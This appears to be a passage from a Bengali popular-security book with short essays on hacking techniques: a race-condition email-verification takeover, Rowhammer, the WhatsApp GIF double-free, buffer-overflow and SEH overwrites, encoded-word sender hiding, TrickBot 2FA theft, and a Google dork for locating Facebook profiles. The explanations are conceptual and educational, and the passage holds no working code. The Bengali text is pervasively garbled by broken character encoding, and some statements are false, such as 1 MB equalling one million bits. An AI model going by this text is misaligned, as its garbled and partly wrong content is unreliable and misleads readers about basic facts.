িবষয়ক িকছু �ে�র উ�র �লখার �চ�া করিছ।

# পাসওয়াড� কেতাটুকু িনরাপদ?

Windows কি�উটােরর  user password �েলা  সংরি�ত  থােক 
**SAM**  নামক  database  file  এর  মেধ�।  এই  file  এর 
তথ��েলা  encrypted  অব�ায়  থাকেলও,  একজন  অপরাধী  ব�ি� 
আপনার  কি�উটার  হােতর  কােছ  �পেল  USB  �পন�াইভ  িদেয়  live 
boot কিরেয় এই SAM ফাইল এর তথ� পিরবত�ন কের িদেত পারেব। 
এটা  �থেক  বাঁচেত  অেনেক  আপনােক  **syskey utility**  ব�াবহার 
করার  পরামশ�  িদেত  পাের।  কারন,  syskey  utility  ব�াবহার  করেল 
SAM  ফাইল  এর  তথ�  decrypt  করার  জন�  আপনার  set  করা 
পাসওয়াড� িদেত হেব। 
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**িক�, আিম একিট সতক�বাত�া িদেত চাই।**

�সটা হে�- িব��ৎ চেল �গেল কি�উটােরর RAM এর মেধ� থাকা সকল 
data চেল  যায়,  এটা  সত�।  িক�,  আপিন  আেলা  �থেক  অ�কাের  চেল 
�গেল �চােখ �যমন একিট ঝলকািন কাজ কের, �সভােবই িব��ৎ চেল �গেলও 
data -র অবিশ� িকছু অংশ কেয়ক িমিনট �থেকই যায়। এটােক **data 
remanence** বলা হয়। তাই, side channel আ�মেণর মাধ�েম 
একিট  অপােরিটং  িসে�ম  িদেয়  কি�উটার  চালু  কিরেয়,  কি�উটােরর 
RAM  এর  মেধ�  �থেক  যাওয়া  Windows  কি�উটােরর  ���পূণ� 
data সং�হ কের হ�াক করা অেনকটাই স�ব।

# Windows সফটওয়�ােরর িনরাপ�া কম?

অেনেক  মেন  কেরন-  Windows এর  সফটওয়�ার  �েলা  Linux এর 
সফটওয়�ােরর �চেয় কম িনরাপদ। িবেশষ িকছু সফটওয়�ােরর ��ে� এমনটা 
হেলও সািব�কভােব আিম (Mamun) এমনটা মেন কির না। 

�যমন  ধ�ন-  একিট  সফটওয়�ােরর  ২  িট  ভাস�ন  রেয়েছ।  একিট 
Windows  এর  জন�  আেরকিট  Linux  এর  জন�।  �সে�ে� 
Windows এর  �কান  নতুন  vulnerability  (zero day)  পাওয়া 
�গেল Windows ভাস�েনর সফটওয়�ার হ�াক হেব। একই িবষয় Linux 
ভাস�েনর  ��ে�ও  �েযাজ�  হেব।  আবার,  একই  সফটওয়�ার  যিদ  Linux 
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এবং  Windows  উভয়  কি�উটােরই  ব�াবহার  করা  যায়  (cross 
platform)  তাহেল,  �সই  সফটওয়�ার  সািব�কভােব  Linux  এর  জন� 
যেতাটুকু িনরাপদ হেব, Windows এর জন�ও অনু�প হেব।

# হ�াক হেল বুঝেবা িকভােব?

সিত� বলেত, পুরাতন ও পিরিচত িকছু প�িতেত হ�াক হেল যেতাটা সহেজ 
বুঝেত পারেবন, নতুন প�িতেত হ�াক হেল আপিন �কেনা? এি� ভাইরাসও 
বুঝেত পারেব না! এমনিক কি�উটাের ম�ালওয়�ার বা, ভাইরাস িকভােব িক 
করেছ- �সটাও reverse engineering/ debug করা স�ব হেব না; 
বরং, কি�উটােরর �মেমািরেত forensic গেবষণা কের বুঝেত হেব। 

মূলত,  হ�ািকং  �থেক  শতভাগ  িনরাপদ  রাখার  �কান  িসে�ম  �নই।  যিদ, 
কি�উটার  িসে�ম  ব�াবহার  করা  �ছেড়  �দন,  তাহেলই  �কবলমা�  হ�ািকং 
�থেক িনরাপদ থাকেবন।

────────────
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২ ি�েক ১ হ�াক

একিট  ওেয়বসাইেট  Race-Condition  নামক  vulnerability 
(�ব�লতা) থাকেল, ২ ি�ক একসােথ কেরই হ�াক করা স�ব! তাই, যােদর 
ওেয়বসাইট আেছ, তারা আজেকর �লখািট পেড় িনেজেদর ওেয়বসাইট যাচাই 
কের িনেবন।

মূল  প�িত  আেলাচনা  করা  যাক।  মেন  ক�ন,  আিম  একিট  ওেয়বসাইেট 
একাউ�  create  করেবা।  �সজেন�  ��েতই  ইেমইল  এে�স  এবং 
পাসওয়াড� িদেত হেব। এরপর, �সই ইেমইল এে�স verify করার জন� 
আমার ইেমইেল একিট verification িলংক আসেব। �সই িলংেক ি�ক 
করেলই ইেমইল এে�স verify হেয় যােব।

িক�, �সই verification িলংক আসার পর আিম তােত ি�ক করলাম না। 
বরং,  ওেয়বসাইেট  আমার  একাউে�র  ইেমইল  পিরবত�ন  করার  জন� 
Change My Email  অপশেন  ি�ক  করলাম।  এরপর  অন�  একজেনর 
ইেমইল এে�স িলেখ send করলাম। ফেল, ওেয়বসাইট �থেক �সই নতুন 
ইেমইল এে�স verify করার জন� পুনরায় িলংক পাঠােনা হেব। িক�, �সই 
ইেমইল  �তা  আমার  নয়।  তাই,  verify করার  িলংকও  আিম  পােবা  না। 
িক�,  আমার  কােছ  একটু  আেগই  আমার  িনেজর  ইেমইল  verify করার 
িলংক এেসিছেলা এবং �সই িলংেক আিম এখনও ি�ক কির িন। আরও বড় 
কথা  হে�-  ওেয়বসাইেট  Race-Condition  নামক  vulnerability 
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আেছ। 

তাই, আমার কােছ ি�ক করার জন� বত�মােন ২ িট িলংক রেয়েছ-

* আমার িনেজর ইেমইল এে�েস আসা verification িলংক।

* আমার ইেমইল এে�স এর পিরবেত� অেন�র ইেমইল এে�স set করার 
জন�  Validate New Email নামক  অপশেনর  িলংক  (�যখােন  ি�ক 
করেল verification িলংক আসেব)।

এখন  আিম  একসােথ  ২  িট  িলংেকই  ি�ক  করেবা।  ফেল,  ওেয়বসাইেটর 
��া�াম মেন করেব- আিম নতুন ইেমইল এে�স verify করার িলংেক ি�ক 
কেরিছ। কারণ, একাউ� �তা একটাই। 

**িক�, িকভােব?**

এখােন ওেয়বসাইেটর ��া�াম �দখেব- আিম ইেমইল verify করার িলংেক 
ি�ক  কেরিছ।  ফেল,  ওেয়বসাইটেক  �দওয়া  আমার  ইেমইল  verify হেয় 
যােব।  িক�,  আিম  একই  সমেয়  ইেমইল  পিরবত�ন  করার  িলংেকও  ি�ক 
কেরিছ।  ফেল,  ইেমইল  verify  হেব  িঠকই,  িক�  আেগর  ইেমইেলর 
জায়গায় নতুন ইেমইল verify হেব। অথচ, �সই ইেমইল �তা আমার না। 
তাই, এভােব �যেকান ব�ি�র ইেমইল এে�স িদেয় একাউ� create করা 
যােব এবং একাউ� ব�াবহার কের �কান অপরাধ করেল, অপরােধর �দাষ 
হেব ইেমইল এে�েসর মূল মািলেকর!
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Row hammer - কি�উটাের হা�র

হাড�ওয়�ার  হ�ািকং  এর  মেধ�  আকষ�ণীয়  প�িত  হে�  Rowhammer 
আ�মণ। এই আ�মেণ কি�উটােরর র �াম এর মেধ� হাতুর �পটা করেত 
হয়। তেব, সিত� সিত� হাতুর িদেয় �পটােনার কথা বলিছ না। িনেচর �লখাটুকু 
পড়ুন- তাহেলই �� ধারণা �পেয় যােবন।

Row hammer আ�মণ

আপিন িন�য়ই জােনন- �মেমািরেত থাকা data হে� �ব��িতক িসগন�াল। 
�তা, কি�উটােরর RAM এর ওপর �দখেত পারেবন- কােলা রং এর চার 
�কাণা িকছু bank রেয়েছ। এ�েলার মেধ� data সািরব� হেয় (*row 
িহেসেব*) থােক। এখন �কউ যিদ একিট row �ত থাকা data বারবার 
access  করেত  থােক  তাহেল,  একিট  সময়  �সই  row  বা,  সািরর 
আেশপােশর row এর �ব��িতক data পিরবত�ন হেয় যােব। 

�যমন- Windows কি�উটাের সাধারণ app এর জন� �মেমািরর িনিদ�� 
সীমানা থােক আর, কােন�েলর জন� kernel memory িহেসেব িনিদ�� 
সীমানা থােক। এই কােন�ল হে� কি�উটােরর সেব�া� �মতার অিধকারী 
একিট ��া�াম। এখন ধ�ন- একিট app িনেজর সীমানার data এে�স 
করেত  পারেলও  কােন�েলর  সীমানার  (অিধক  �মতার)  িকছু  সরাসির 
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access করেত পারেব না। িক�, app এর data �েলা �মেমািরর �যই 
row  �ত  আেছ,  �সখােন  বারবার  access  করার  মাধ�েম  �ব��িতক 
চােজ�র মাধ�েম কােন�েলর সীমানার data পিরবত�ন করা স�ব হেত পাের। 
এছাড়া,  আ�মণকারী  ব�ি�  কি�উটােরর  অেনক  sensitive  তথ� 
হাঁিতেয় িনেতও স�ম হেত পাের। 

আবার,  এ�েয়ড  �মাবাইল  হেল  �মাবাইেলর  root  access  �নওয়াও 
স�ব  হয়।  �মাবাইেলর  ��ে�  **Drammer**  আ�মণ 
(*Deterministic  Rowhammer*)  করা   হেয়  থােক। 
কি�উটােরর  সােথ  USB তার  িদেয়  �মাবাইল  সংযু�  কেরই  এটা  করা 
স�ব। 

প�িত  হে�-  আপিন  র �াম (RAM)  এর  �যই  ২  িট  row �ত  বারবার 
access  করেবন,  �সই  �ােনর  memory  address  �জেন  িনেয় 
আ�মণ  করেত  হেব।  অথ�াৎ,  আপিন  বারবার  �সখােন  access করেবন 
(যার  মােন  হে�-  �সখােন  বারবার  �ব��িতক  িসগন�াল  যােব)।  এখন 
আপনার ৩য় কাজ হে�- �যখােন আ�মণ করেছন, তার আেশপােশর row 
বা,  সািরর  �িত  নজর  রাখা।  RAM  এর  vulnerability  থাকেল, 
একসময় �সখােনর data পিরবত�ন হেয় যােব এবং আপিন �পেয় যােবন 
কাি�ত সাফল�।

বত�মােন  িলনা�  কি�উটাের  িকছু  ি�  সফটওয়�ার  ব�াবহার  কের  এই 
আ�মণ  করা  অেনকটাই  স�ব।  এমনিক,  আপনার  িডভাইেসর  সরাসির 
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access না �পেলও, �ের �থেকই **Javascript** এর মাধ�েম এই 
Rowhammer আ�মণ করা স�ব। তাই, সাবধান থাকুন।

────────────
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Facebook - Whatsapp হ�াক

Facebook হ�ািকং এর জন� আ�ুল িরজা নামক হ�াকার �ায় ৪৬ লাখ 
টাকা  পুর�ার  �পেয়েছন।  �সই  সােথ  আেরকজন  হ�াকার  GIF  পািঠেয় 
Whatsapp ব�াবহারকারীর  �মাবাইেলর  ওপর  control  িনেত  স�ম 
হেয়িছেলন। উভয় প�িতই আজেক সহজভােব ব�াখ�া করেবা।

# Facebook হ�ািকং

Facebook  হ�ািকং  এর  প�িতিট  িছেলা  এই  �য,  হ�াকার 
**TheFacebook** নামক একিট ওেয়ব এি�েকশেনর স�ান পান। 
�সখােন SavePassword নােমর একিট page িছেলা, �যখােন িতিন 
�ফসবুক  একাউে�র  user name অনুমান  কের  �সই  user name 
এর পাসওয়াড� পিরবত�ন করেত স�ম হেয়িছেলন।

# Whatsapp হ�ািকং

আপিন যখন Whatsapp ব�াবহার কের কারও সােথ chatting কেরন, 
তখন  emoji,  GIF ইত�ািদ  অেনক  িকছুই  send করেত  পােরন।  এই 
GIF পাঠােনার  মাধ�েমই  হ�াকার  আপনার  �মাবাইেলর  ওপর  control 
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িনেত পারেতা।

GIF হে� �বশিকছু ছিবর সম�য়, �য�েলা এেকর পর এক আসেত থাকায় 
video -র মেতা �দখা যায়। এই ছিব�েলার size হয় িনেচর মেতা-

> 1220✕800

এখােন 800 হে� �দঘ� এবং 1220 হে� ��। ��েত GIF এর �থম 
ছিবিট �মাবাইেলর �মেমািরেত িনিদ�� পিরমাণ জায়গা allocate বা, দখল 
কের �নয়। �সই জায়গােতই পরবত�ী ছিব�েলা আসেত থােক এবং িভিডওর 
মেতা play হেত থােক। িক�, বত�মান ছিবর তুলনায় যিদ পরবত�ী ছিবর 
size �বিশ  হয়,  তাহেল  বত�মান  ছিবিট  �মেমািরর  �যই  �ান  দখল  কের 
আেছ- �সই �ােনর দখল �ছেড় িদেব (জায়গািট free করেব) এবং পরবত�ী 
ছিবিট �মেমািরেত নতুন কের জায়গা allocate করেব বা, দখল করেব। 
এটােক **reallocate** বলা হয়।

িক�,  সমস�া  হে�-  বত�মান  ছিবর  তুলনায়  নতুন  ছিবর  �দঘ��  বা  �ে�র 
�যেকান একিট বড় হেলই নতুন কের এই reallocate করা হেব।

তাই, বত�মান ছিবর size যিদ 3✕3 হয়

আর, পরবত�ী ছিবর size যিদ 5✕0 হয়, তাহেলও �মেমািরেত নতুন কের 
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জায়গা দখল করা হেব। 

অথচ,  5✕0 হে�  0  বা,  শূন�।  ফেল,  বত�মান  ছিবিট  �মেমািরেত  �যই 
3✕3 পিরমাণ জায়গা দখল কের আেছ, �সই জায়গািট free হেয় যােব; 
িক�, পরবত�ী ছিবর size �যেহতু 5✕0 বা, শূন�; তাই, নতুন �কান জায়গা 
দখল করা হেব না। আর, Whatsapp িদেয় send করা GIF �ই বার 
parse হয়। ফেল, এই ��ে� �থম parse এর সময় 5✕0 সাইেজর 
কারেন  �মেমািরর  িনিদ��  অংশ  (buffer)  ২  বার  �ধু  free হে�  ফেল, 
পরবত�ী parse এর সময় �মেমািরর িনিদ�� িকছু কারেন হ�াকার �মেমািরর 
মেধ� �িতকর code িলখেত স�ব হেব। অেনেকর বুঝেত অসুিবধা হেব 
তাই,  িব�ািরত  বলিছ  না।  তেব,  এই  �িট  Whatsapp এর  িছেলা  না 
বরং, android এর সােথ স�িক�ত িছেলা। তাই, Whatsapp �থেক 
িতিন �কান পুর�ার পান িন।

আজেক �যই ২ জন হ�াকােরর কথা জানেলন, তােদর মেতা অেনক হ�াকার 
আেছন, যারা �িত করার জন� না বরং, িনরাপদ রাখার জন� কাজ কেরন। 
তােদর সততা �থেকই আগামী �জ� িশ�া িনেব- �সই আশায় আমার �লখা 
এখােনই সমা� করিছ। ধন�বাদ।

২০২১ সােলর আেগর কথা...

─────────
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হ�াকারেদর ি�য় সং�া

1,094,795,585

একিদন  আপনােদরেক  বেলিছলাম-  হ�াকারেদর  ি�য়  সংখ�া 
1,094,795,585।  আপনারা  এর  কারন  জানেত  �চেয়িছেলন।  আজেক 
উ�র জানােবা।

আপিন িন�য়ই �ুেল িশেখেছন �য, আমরা �যই 0, 1, 2, 3 সংখ�া গণনা 
কির, �স�েলা হে� decimal সংখ�া। আবার, কি�উটার �ধুমা� 0 এবং 
1 ব�াবহার কের, �যটােক বলা হয় binary সংখ�া। আেরক �কােরর সংখ�া 
আেছ, �সটা হে� hexadecimal সংখ�া।

হ�াকারেদর  কােছ  �যই  decimal  সংখ�ািট  ি�য়,  �সটা  হে�- 
1,094,795,585।

# সংখ�ািট ি�য় হওয়ার কারন

আপিন যিদ িনয়িমত সাইবার �সাসাইিট �েপর �লখা পেড় থােকন তাহেল, 
িন�য়ই  জােনন-  গত  পর�  আিম  buffer  overflow স�ে�  post 
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কেরিছলাম। �সখােন বেলিছলাম- "কি�উটার একিট কাজ স�� করার পর 
২য় কাজ করার জন� �সই কােজর িঠকানা বা, address িট CPU এর 
EIP নামক �রিজ�ার �থেক সং�হ কের। আর, সফটওয়�াের পাসওয়াড� বা, 
অন�িকছু  িলেখ  input  �দওয়ার  সময়  �সই  input  এর  সােথ  যিদ 
ম�ালওয়�ার িলেখ পাঠােনা যায় এবং EIP �রিজ�াের �সই ম�ালওয়�ােরর 
িঠকানা িলেখ �দওয়া যায়, তাহেল কি�উটার �সই ম�ালওয়�ারেকই run 
করেব।" 

িক�,  একজন  হ�াকার  িকভােব  বুঝেব-  পাসওয়ােড�র  সােথ  �লখা 
ম�ালওয়�ােরর �কা� অংশিট EIP �ত যােব?

এটা  িনণ�য়  করার  জন�  হ�াকার  �সই  ম�ালওয়�ােরর  একিট  অংেশ 
**AAAA** িলেখ রােখ। আর, একিট সফটওয়�ার িদেয় �দখেত থােক- 
পাসওয়াড� িলেখ পাঠােনার পর EIP �ত AAAA �লখািট �পৗঁেছেছ িকনা। 
যিদ না �পৗঁেছ থােক তাহেল, AAAA �লখািট অন� জায়গায় িলেখ পাঠায়। 
এভােব বারবার �চ�া করার পর একসময় EIP �রিজ�াের AAAA �লখািট 
�দখা  যােব।  ফেল,  হ�াকার  বুঝেত  পারেব  �য,  এইবার  AAAA �যখােন 
�লখা হেয়েছ, �সখােনই যিদ ম�ালওয়�ােরর address িলেখ পাঠােনা হয়, 
তাহেল EIP �রিজ�াের ম�ালওয়�ােরর address �লখা হেয় যােব। ফেল, 
কি�উটার  �সই  ম�ালওয়�ােরর  address  �থেক  ম�ালওয়�ারেক  run 
করেব। 

এে�ে�  হ�াকার  বা,  কি�উটার  সােয়ে�র  ছা�েদর  মেধ�  AAAA িলেখ 
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পাঠােনা একিট �িস� রীিত বা, �রওয়াজ হেয় িগেয়েছ। তেব, এই AAAA 
সংখ�ািট  কি�উটাের  যাওয়ার  সময়  ascii  encoding  প�িতেত 
41414141 �হ�ােডিসেমল সংখ�ায় �পা�িরত হেয় যােব। আর, �সই 
41414141  �হ�ােডিসেমল  সংখ�ােক  যিদ  আমােদর  সাধারণ  সংখ�া 
প�িত  �ডিসেমেল  �পা�িরত  করা  হয়,  তাহেল  �সটা  হেব 
1,094,795,585। হ�াকারেদর ি�য় সংখ�া!

────────────
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ইেমইল এে�স গােয়ব

সাইবার  অপরাধীরা  িবিভ�  �কা�ািনর  নােম  ভুয়া  ইেমইল  পািঠেয়  থােক- 
এটা সবাই জােনন। িক�, ইেমইল এে�েসর জায়গায় যিদ �কানিকছুই �লখা 
না থােক? হ�াঁ, সা�িতক সমেয় এরকমটা �দখা িগেয়েছ। হ�াকার িকভােব 
এটা কেরেছ, �সটা িনেচ উে�খ করা হেলা-

একিট ইেমইল open করেল �সই ইেমইল িযিন পািঠেয়েছন, তার ইেমইল 
এে�স িনেচর মেতা �লখা থােক-

From: admin@gmail.com

এই  �য  আপিন  িক-�বাড�  ব�াবহার  কের  িলখেছন;  এসব  �লখা  িবিভ� 
encoding ব�াবহার কের কি�উটাের save হয়। িক�, হ�াকার এখােন 
একািধক  encoding  ব�াবহার  কের  িনেজর  ইেমইল  এে�স  গােয়ব 
কেরেছ। যিদও, ইেমইল এে�েস একািধক encoding ব�াবহার করা যায়। 
িক�, �থম encoding প�িত িনেচর মেতা িলেখ একিট space িলেখ 
অন� encoding প�িতেত িলখেত হয়-

=?charset?encoding?encoded-text?=

তাই,  ইেমইল  এে�স  macřon tech@gmail.com িদেত  চাইেল 
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িলখেত হেব-

=?UTF-8?Q?mac=C5=99on ?= tech@gmail.com

অথ�াৎ,  **?charset?**  িহেসেব  UTF-8  িলেখিছ, 
**?encoding?**  িহেসেব  Q  িলেখিছ,  এরপর  **macřon** 
�লখার  জন�  �থেম  ইংেরিজেত  mac িলেখিছ।  তারপর  ř  �লখার  জন� 
**=C5=99**  িলেখিছ।  এখােন  আরও  িকছু  িনয়ম  মানা  হেয়েছ  িক�, 
অেনেকর বুঝেত ক� হেব তাই, �স�েলা বললাম না। 

�তা, হ�াকার তার ইেমইল এে�েস এই প�িত অবল�ন করেলও মাঝখােন 
একিট কমা (**,**) িলেখেছ। ফেল, কি�উটার যখন হ�াকােরর ইেমইল 
এে�স পােব তখন �সই এে�সেক ২ জেনর এে�স িহেসেব ধের িনেব। যার 
ফেল  িবেশষ  িনয়েমর  কারেন  হ�াকােরর  ইেমইল  এে�সিট  গােয়ব  হেয় 
িগেয়েছ। অথ�াৎ, �যখােন এে�স �লখা থােক �সখােন িকছুই �লখা �নই।

────────────
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2 FA �কাড হ�াকােরর হােত

�ফসবুেক  login  করার  সময়  পাসওয়াড�  িলেখ  পাঠােনার  পর  আপনার 
�মাবাইেল একিট code আেস। এটােক 2 FA �কাড বেল। অেনেক মেন 
কের  থােকন-  আমার  পাসওয়াড�  হ�াক  হেয়  �গেলও  হ�াকার  �যেহতু  এই 
code পােব না, তাই আমার একাউে� login করেত পারেব না। িক�, 
এই ধারণা অেনকাংেশ ভুল। হ�াকার িকভােব আপনার 2 FA �কাড হাঁিতেয় 
িনেত  স�ম-  �সই  িবষেয়ই  আজেক  আেলাচনা  করেবা।  তেব,  আিম  �কান 
কা�িনক  উদাহরণ  িদেয়  �মাণ  করেবা  না।  বরং,  TrickBot  নামক 
ম�ালওয়�ােরর বা�ব উদাহরণ িদেবা।

TrickBot ম�ালওয়�ার সাধারণত ব�াংক একাউ�েক টােগ�ট কের থােক। 
TrickBot �ারা আ�া� কি�উটাের XML টাইেপর একিট file থােক। 
এর মেধ� িকছু ব�াংক ওেয়বসাইেটর িলংক, IP এে�স এবং webinject 
type �লখা থােক। এসব ওেয়বসাইেটর �কান একিটেত �েবশ করেত �গেল 
TrickBot �সই  ওেয়বসাইেটর  মেতা  �দখেত  নকল  ওেয়বসাইেট  �েবশ 
কিরেয়  িদেব।  তখন  হ�াকােরর  কােছ  আপনার  ব�াপাের  একিট 
notification যােব  এবং  আপনােক  login করেত  বলা  হেব।  আপিন 
যখন পাসওয়াড� িলেখ login -এ ি�ক করেবন, তখন আপনার পাসওয়াড� 
চেল  যােব  হ�াকােরর  কােছ।  �সই  পাসওয়াড�  িদেয়  হ�াকার  যখন  আপনার 
ব�াংক একাউে� login করেত চাইেব, তখন আপনার �মাবাইেল একিট 2 
FA  �কাড  আসেব।  হ�াকােরর  নকল  ওেয়বসাইেট  আপনার  কােছ  �সই 



───সাইবার জগেতর ওিপঠ by সাইফ 

163

code িলখেত বলেব। আপিন �লখার সােথ সােথই �সই code চেল যােব 
হ�াকােরর  কােছ।  এরপর  হ�াকার  �সই  code  িলেখ  আপনার  ব�াংক 
একাউে�  login  করেব  এবং  আপনার  একাউ�  �থেক  তার  িনেজর 
একাউে� টাকা পািঠেয় িদেব।

এসকল  নকল  ওেয়বসাইেটর  িলংেক  আসল  ওেয়বসাইেটর-ই  িলংক  �লখা 
থােক।  তাই,  সহেজ  �কান  পাথ�ক�  খুঁেজ  পাওয়া  যায়  না।  তেব,  সাইবার 
িসিকউিরিট  ��শািল�গণ  িকছু  analysis  কের  পাথ�ক�  �বর  করেত 
পারেবন।  তাই,  সাবধান  থাকুন।  আর,  আপনার  যিদ  অনলাইন  িভি�ক 
�কা�ািন  থােক  তাহেল  �সখােন  অবশ�ই  একজন  সাইবার  িসিকউিরিট 
��শািল�েক রাখুন। ধন�বাদ।

────────────
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Error িদেয় হ�ািকং

�কমন হেব- যিদ error িদেয় হ�াক করা হয়?

একিট  সফটওয়�াের  error  �দখা  িদেতই  পাের।  এজন�  �ায়  সকল 
সফটওয়�াের  EH (error handler)  নামক  ��া�াম  থােক;  যার  কাজ 
হে�-  error  সামলােনা।  িক�,  যিদ  এমন  error  �দখা  �দয়-  �যটা 
সামলােনার  মেতা  ��া�াম  EH  এর  মেধ�  �নই;  তখন  Windows 
কি�উটােরর SEH নামক ��া�াম �সই error সামলােনার কাজ কের। 
এই SEH হ�াক করেলই কি�উটার কাজ করেব হ�াকােরর িনেদ�েশ।

# ��েত আপনােক যা জানেত হেব

কি�উটাের  যেতা  data  (ছিব,  িভিডও  ইত�ািদ)  আেছ,  �স�েলা 
কি�উটােরর  কােছ  �ধুই  **0**  এবং  **1**  বাইনাির  সংখ�া। 
কি�উটাের থাকা এসব সংখ�ােক bit বেল আর, ৮ িট bit িমেল হয় 1 
byte। �যমন- িনেচ 8 bit িমেল হেয়েছ 1 byte।

> 01001101

আপিন  �মাবাইেল  1 MB ই�ারেনট  ব�াল�া�  িকনেছন  মােন-  আপিন  ১ 
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িমিলয়ন bit পিরমাণ data আদান-�দান করেত পারেবন।

 মূল আেলাচনা

এখন error িদেয় হ�াক করার আেলাচনায় আসা যাক। উপেরর আেলাচনা 
বুেঝ থাকেল পরবত�ী আেলাচনাও বুঝেত পারেবন।

RAM এর �েত�ক �ােনর একিট address থােক, �যটা �ুেলর �রাল 
ন�েরর মেতা সংখ�া িদেয় �কাশ করা হয়। আর, কি�উটাের আপিন যেতা 
কাজ  কেরন,  �স�েলা  RAM  এর  এসব  address  -এ  থােক। 
সফটওয়�ােরর error �েলাও RAM এর এসব address -এ থােক। 
আর,  উপের  বেলই  িদেয়িছ  �য,  error  �ক  সামলােনার  কাজ  কের 
**SEH**। এই **SEH** এর মেধ� �চইন আকাের এেকর পর এক 
8 Byte এর িকছু element (��া�াম) থােক, যার �থম 4 Byte -এ 
�লখা থােক পরবত�ী element এর address pointer আর, পেরর 4 
Byte -এ �লখা থােক বত�মান handler এর িঠকানা। কি�উটার এখােন 
�যই address �লখা পােব, �সই address এর ��াগাম run করেব। 
তাই,  হ�াকার  যিদ  এই  address পিরবত�ন  কের  �কান  ম�ালওয়�ােরর 
address  িলেখ  �দয়,  তাহেলই  কি�উটার  �সই  ম�ালওয়�ারেক  run 
করেব এবং হ�াকােরর িনেদ�শনা পালন করা �� করেব!

────────────
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হাড�ওয়�ার হ�ািকং

হাড�ওয়�ার হ�ািকং অেনক আকষ�ণীয় একিট টিপক। �বশ কেয়ক বছর আেগ 
MIT �ত  চাকিররত  একজন  ব�ি�  কি�উটােরর  ন�  িক-�বাড�  �মরামত 
করেত িদেয়িছেলন। িক-�বাড� িঠক কের আনার পর যখন িতিন কি�উটার 
ব�াবহার করিছেলন তখন কি�উটাের হঠাত একিট �লখা �দখেত �পেলন-

ভা�ুক cookie চাে�। না িদেল কি�উটার ব� হেয় যােব।

িতিন বুেঝ উঠেত পারিছেলন না �য, �কাথায় cookie িদেত বলা হে�। 
ফেল,  িকছু�ণ  পেরই  কি�উটার  restart  হওয়া  ��  কের।  এভােব 
�িতিদনই  �লখািট  আসেতা  আর  কি�উটার  restart  হেতা।  এরপর 
একিদন  যখন  এই  �লখা  আসেলা,  তখন  িতিন  বুি�  কের  কি�উটাের 
**cookie**  শ�িট  িলখেলন।  আর,  আ�য�জনক  ভােব  কি�উটার 
restart  হওয়া  ব�  হেয়  যায়।  পরবত�ীেত  একজন  তােক  �গাপেন 
message পািঠেয় জানায়-  "�যখােন িক-�বাড� �মরামত করেত �দওয়া 
হেয়িছেলা, �সখােনই �কউ একজন িক-�বােড�র firmware পিরবত�ন কের 
িদেয়িছেলা"। এটাই হাড�ওয়�ার হ�ািকং।

আপনার  কি�উটােরর  িক-�বাড�,  মাউস  ইত�ািদ  হে�  আলাদা  আলাদা 
কি�উটার। কি�উটােরর CPU ছাড়াও এসব হাড�ওয়�ােরর মেধ� আলাদা 
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�েসসর আেছ। আর, এসেবর মেধ� firmware নামক িকছু ��া�াম থােক, 
�যটার  িনেদ�শনা  অনুযায়ী  হাড�ওয়�ার  কাজ  কের।  এখন  �কউ  যিদ 
firmware  ��া�াম  স�ে�  �ান  রােখন,  তাহেলই  িতিন  িবিভ� 
সফটওয়�ার ব�াবহার কের firmware পিরবত�ন কের িদেত স�ম।

এছাড়া,  আপনার  �মাবাইল  নামক  কি�উটােরর  মেধ�ও  িক�  আেরকিট 
কি�উটার আেছ। �সই ি�তীয় কি�উটার হে�- িসম কাড�। এই িসম কাড� 
�যই  encryption প�িত  ব�াবহার  কের,  �সটার  key হ�াক  করা  �বশ 
কিঠন।  িক�,  িসম  কাড�  এবং  �মাবাইেলর  মাঝপেথ  যিদ  িবেশষ  তার 
(cable) যু� করা হয়- �যই তার সবিকছু �রকড� করেব, তাহেলই িক� 
Wireshark  এর  মেতা  সফটওয়�ার  ব�াবহার  কের  িসম  কাড�  এবং 
�মাবাইেলর  মধ�কার  GSM  �েটাকেলর  communication  �দখা 
স�ব।  আর,  কি�উটােরর  BIOS  ব�াটাির  খুেল  BIOS  পাসওয়াড� 
পিরবত�ন করা স�ে� �তা আপনারা অেনেকই জােনন।

সব িমিলেয় হাড�ওয়�ার হ�ািকং অেনক আকষ�ণীয় একিট টিপক। িক�, �সই 
আকষ�ণীয় টিপেকর ওপর �ান অজ�ন করেত চাইেল অেনক অেনক পড়ােলখা 
করেত  হয়।  কি�উটার  িকভােব  গিঠত,  িকভােব  কাজ  কের  এসব  জানেত 
হয়। কারন, িযিন �তির করেত পারেবন, িতিন ভাঙেতও পারেবন।

───────────────
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এসব VPN �াবহার করেবন না

আপনার  �াউজাের  incognito  mode  ব�াবহার  করেল  আপনার 
�মাবাইল/কি�উটাের �কান history থাকেব না। িক�, আপনার ই�ারেনট 
��াভাইডার (ISP) িঠকই জানেব- আপিন �কান �কান ওেয়বসাইেট িক িক 
করেছন। এজন� VPN ব�াবহার করা হয়। VPN ব�াবহার করেল আপনার 
ই�ারেনট ��াভাইডার এসব জানেত পারেব না। িক�, ৫ িট �দশ যথা- US, 
UK, Australia, New Zealand এবং Canada িমেল **Five 
Eyes**  নােমর  একিট  �জাট  কেরেছ।  তােদর  �দেশর  VPN 
�কা�ািন�েলা সাধারণ মানুেষর িনিদ�� িকছু তথ� **Five Eyes** -�ক 
িদেত  বাধ�।  এমনিক  এসব  �দেশর  সােথ  আরও  িকছু  �দশ  যু�  হেয়  
**Nine Eyes** এবং **14 Eyes** গঠন কেরেছ। তাই, এসব 
�দেশর VPN ব�াবহার করা �থেক িবরত থাকা উিচত।

─────────
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�ফস�েক হারােনা ব�েক �খাঁজা

�ছাটেবলায় আমােদর সবারই অেনক ব�ু িছেলা। িক�, তখন �ফসবুক �তা 
িছেলাই না, �সই সােথ �মাবাইেলরও �তমন �চলন িছেলা না। এরপর হয়েতা 
আপনার ব�ুেক �ছেড় বাবা-মােয়র সােথ �ের �কাথাও চেল এেসেছন। হেত 
পাের,  আপনার  �সই  ব�ুর  �ফসবুক  একাউ�  আেছ।  �সই  একাউ�  খুঁেজ 
�পেলই ি�য় ব�ুর সােথ আবার কথা বলেত পারেবন। ব�ুেক খুঁজেত িনেচর 
িকছু প�িত অবল�ন করেত পােরন-

**�থেমই িনেচর �লখা িলেখ Google সাচ� ক�ন-**

site:facebook.com inurl:NAME

উপেরর NAME এর জায়গায় আপনার ব�ুর নাম িলখেবন। এিট সাচ� িদেল 
আপনার ব�ুর নােমর অেনক �ফসবুক একাউ� আসেব। Photos এ িগেয় 
�দখুন- আপনার ব�ুর ছিব �দখেত পান িকনা? যিদ খুব �বিশ একাউ� চেল 
আেস  এবং  আপনার  ব�ুর  একাউ�  খুঁেজ  না  পান  তাহেল  িনেচর  প�িত 
অবল�ন ক�ন।

